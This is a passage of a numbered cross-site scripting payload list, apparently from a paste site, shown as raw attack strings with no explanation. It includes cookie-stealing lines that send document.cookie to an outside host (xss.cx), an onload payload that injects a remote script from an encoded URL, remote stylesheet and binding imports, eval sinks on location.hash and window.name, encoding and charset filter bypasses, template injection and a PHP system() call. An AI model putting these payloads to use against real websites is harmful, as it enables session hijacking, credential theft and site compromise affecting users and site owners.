  1734. "+document.cookie+"
  1735. document.cookie='xss=xss;domain=.cx.'
  1736. document.getElementsByName("login").item(0).src = http://xss.cx/
  1737. document.location="http://xss.cx/default.aspx?c=" + document.cookie
  1738. '},document.location=window.name+'//'+
  1739. document.location=window.name+'//'+
  1740. document.location=window.name%2b%27//%27%2b
  1741. document.write('<ФБ onclФБck=&#97&#108&#101&#114&#116&#40&#49&#41>asd</ФБ>'.toUpperCase()
  1742. document.write('<img src="<iframe/onload=confirm(1)>\0">')
  1743. ";escape=eval;//
  1744. eval(location.hash.slice(1))
  1745. eval(location.hash.slice(1))//
  1746. ");eval(name+"
  1747. "+eval(name)+"
  1748. eval(name)
  1749. eval('\\u'+'0061'+'lert(1)')
  1750. getURL("javascript:confirm(document.location)")
  1751. header('Refresh: 0;url=javascript:confirm(1)');
  1752. htmlStr = '<a href="'+*dataentities*+'javascript:123">test</a>'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){};
  1753. htmlStr = '<a href="javascript'+*dataentities*+'123">test</a>'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){};
  1754. htmlStr = '<a href="javascript'+*dataentities*+':123">test</a>'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){};
  1755. if(1)confirm(1)}{
  1756. javaSCRIPT&colon;confirm(1)
  1757. javas&Tab;cript:\u0061lert(1);
  1758. javascript&#00058;confirm(1)
  1759. javascript&#00058;confirm(1)
  1760. "javascript:confirm(0);",
  1761. ;javascript:confirm(0);
  1762. ;})javascript:confirm(0);
  1763. javascript:confirm(0);
  1764. javascript:confirm(1)//
  1765. javascript:prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x
  1766. "javascript:prompt(/compaXSS/.source);var x = prompt;x(0);x(/XSS/.source);x"
  1767. /"/_javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x
  1768. javascript:\u0061lert&#x28;1&#x29
  1769. javascript&#x3A;confirm&lpar;document&period;cookie&rpar;
  1770. location='&#118&#98&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41'
  1771. (location.hash){eval(location.hash.slice(1))}else{confirm(document.location)}//<img src="x:x" onerror="if(location.hash){eval(location.hash.slice(1))}else{confirm(document.location)}">
  1772. ';location='javascript://'%2Blocation.hash;'
  1773. location='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c %75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)'
  1774. location='javascript:%61%6c%65%72%74%28%31%29'
  1775. location=javascript:confirm(0);.
  1776. ";location=name;//
  1777. \nconfirm(1)
  1778. navigateToURL(new URLRequest("Javascript: document.write(\"<script>confirm(1)</scr\"+\"ipt>\")"),"_self")
  1779. new XMLHttpRequest().open("GET", "data:text/html,<svg onload=confirm(2)></svg>", false);
  1780. ;onerror=confirm;throw 1;
  1781. onerror=confirm;throw 1;
  1782. onerror=confirm;throw 1;
  1783. onerror=eval;throw'=confirm\x281\x29';
  1784. onerror=eval;throw'=confirm\x281\x29';
  1785. "onload="a=document.createElement('script');a.setAttribute('src',String.fromCharCode(104,116,116,112,58,47,47,109,97,108,101,114,105,115,99,104,46,110,101,116,47,97,46,106,115));document.body.appendChild(a)
  1786. onload=confirm(1)//
  1787. prompt(0x0064)
  1788. ;prompt(1)//т€;prompt(2)//т€;prompt(3)//т€“></SCRIPT>т€>т€™><SCRIPT>prompt(4)</SCRIPT>
  1789. "!=prompt(9)!="
  1790. "*prompt(9)*"
  1791. "-prompt(9)-"
  1792. "/prompt(9)/"
  1793. "<<prompt(9)<<"
  1794. "<=prompt(9)<="
  1795. "<prompt(9)<"
  1796. "===prompt(9)==="
  1797. "==prompt(9)=="
  1798. ">=prompt(9)>="
  1799. ">>>prompt(9)>>>"
  1800. ">>prompt(9)>>"
  1801. ">prompt(9)>"
  1802. "?prompt(9):"
  1803. "^prompt(9)^"
  1804. "|prompt(9)|"
  1805. "||prompt(9)||"
  1806. prompt(9)
  1807. prompt(location.hash)
  1808. prototype.join=function(){confirm("PWND:"+document.body.innerHTML)}')();
  1809. j&NewLine;a&NewLine;vas&NewLine;cript:confirm(1);
  1810. parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
  1811. prompt(1)-eval(JSON.parse(name).input)
  1812. javascript:HTMLDocument.__proto__.__defineSetter__("prototype",function(){try{d.d.d}catch(e){confirm(e.stack)}})
  1813. confirm`1`; var something = `abc${confirm(1)}def`; ``.constructor.constructor`confirm\`1\````;
  1814. '"()=<z>
  1815. '"(){}[];
  1816. JaVAscRIPT:confirm(4)
  1817. [XSS](javascript:confirm(6))
  1818. (javascript:window.onerror=confirm;throw%20document.cookie)
  1819. 0\%22))}catch(e){confirm(2)}//
  1820. Components.lookupMethod(self, 'confirm')(1)
  1821. Data URl
  1822. "; ||confirm('XSS') || "
  1823. '';!--"<XSS>=&{()}
  1824. '';!--"<XSS>=&{()}
  1825. 5.replace(/XSS/g,confirm)
  1826. ";a.b=c;//
  1827. ";a[b]=c;//
  1828. a="get";
  1829. $("button").val("<iframe src=vbscript:confirm(1)>")
  1830. external.NavigateAndFind('http://xss.cx',[],[])
  1831. javascript&#09;:alert(1)
  1832. javascript<TAB>:alert(1)
  1833. {{toString.constructor.prototype.toString=toString.constructor.prototype.call%3b[%22a%22,%22alert(1)%22].sort(toString.constructor)}}
  1834. ${@print(system(т€œdirт€))}
  1835. {{m=[({}).constructor.defineProperties];[[''.toString.constructor,{'constructor':{} }].reduce(m[0])];''.toString.constructor('alert(1)')()}}
  1836. Function.prototype.toString=Function.prototype.call;"alert(1)//".replace("//",Function)
  1837. top[630038579..toString(30)](1)
  1838. */(URL[%26quot;\142\151\147%26quot;][%26quot;\143\157\156\163\164\162\165\143\164\157\162%26quot;](%26quot;\141\154\145\162\164\75\141\154\145\162\164\50\61\51%26quot;)())'%3E%3C%%20style='x:expression/*
  1839. \u{61}l\u{65}rt`1`
  1840. Object.prototype[Symbol.toStringTag]='<svg/onload=alert(1)>';
  1841. while(1){}
  1842. location='javascript:1+{}'
  1843. width:expression(if(!window.done)alert(1),window.done=1)
  1844. expression(window.x?0:(confirm(7),window.x=1))
  1845. background-image:url(https://s1.yimg.com/rz/l/yahoo_en-US_b_w_26x14_2x.png)
  1846. behaviour:url\0028javascript:confirm\0028[0][0]\0029\0029
  1847. /*@cc_on @if(1)confirm(1)@end
  1848. }*{color:#ccc;}
  1849. "; ||confirm('XSS') || "
  1850. <// style=x:expression\28write(1)\29>
  1851. <STYLE TYPE="text/javascript">confirm(document.location);</STYLE>
  1852. <STYLE type="text/css">BODY{background:url("javascript:confirm(document.location)")}</STYLE>
  1853. <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
  1854. <STYLE>.XSS{background-image:url("javascript:confirm(document.location)");}</STYLE><A CLASS=XSS></A>
  1855. <STYLE>@import'http://xss.cx/xss.css';</STYLE>
  1856. <XSS STYLE="xss:expression(confirm(document.location))">
  1857. <meta charset=iso-2022-jp>%1B(B%1B><svg onload=alert(1)>%1B$B%1B
  1858. %20~}%22%3Cmeta%20charset=hz-gb-2312%3E%3Csvg%20onload%3Dalert%281%29%3E~{
  1859. %3Cmeta%20charset=iso-2022-jp%3E%1B(J+onfocus=alert(1)%20autofocus%3E%1B$(D%1B(
  1860. %3Cmeta+charset%3Dhz-gb-2312%3E%27~%7B%27%3C~%7D%22%20onmouseover=alert%281%29%20a=
  1861. %3Cmeta%20charset=hz-gb-2312%3E~{!~}%22%20onfocus=alert%281%29%20autofocus%3E
  1862. %1B%28J%3Cmeta%20charset%3Diso-2022-jp%3E%3Cbody%20onload=alert%281%29%3E%1B%24%40%1B
Add Comment
Please, Sign In to add comment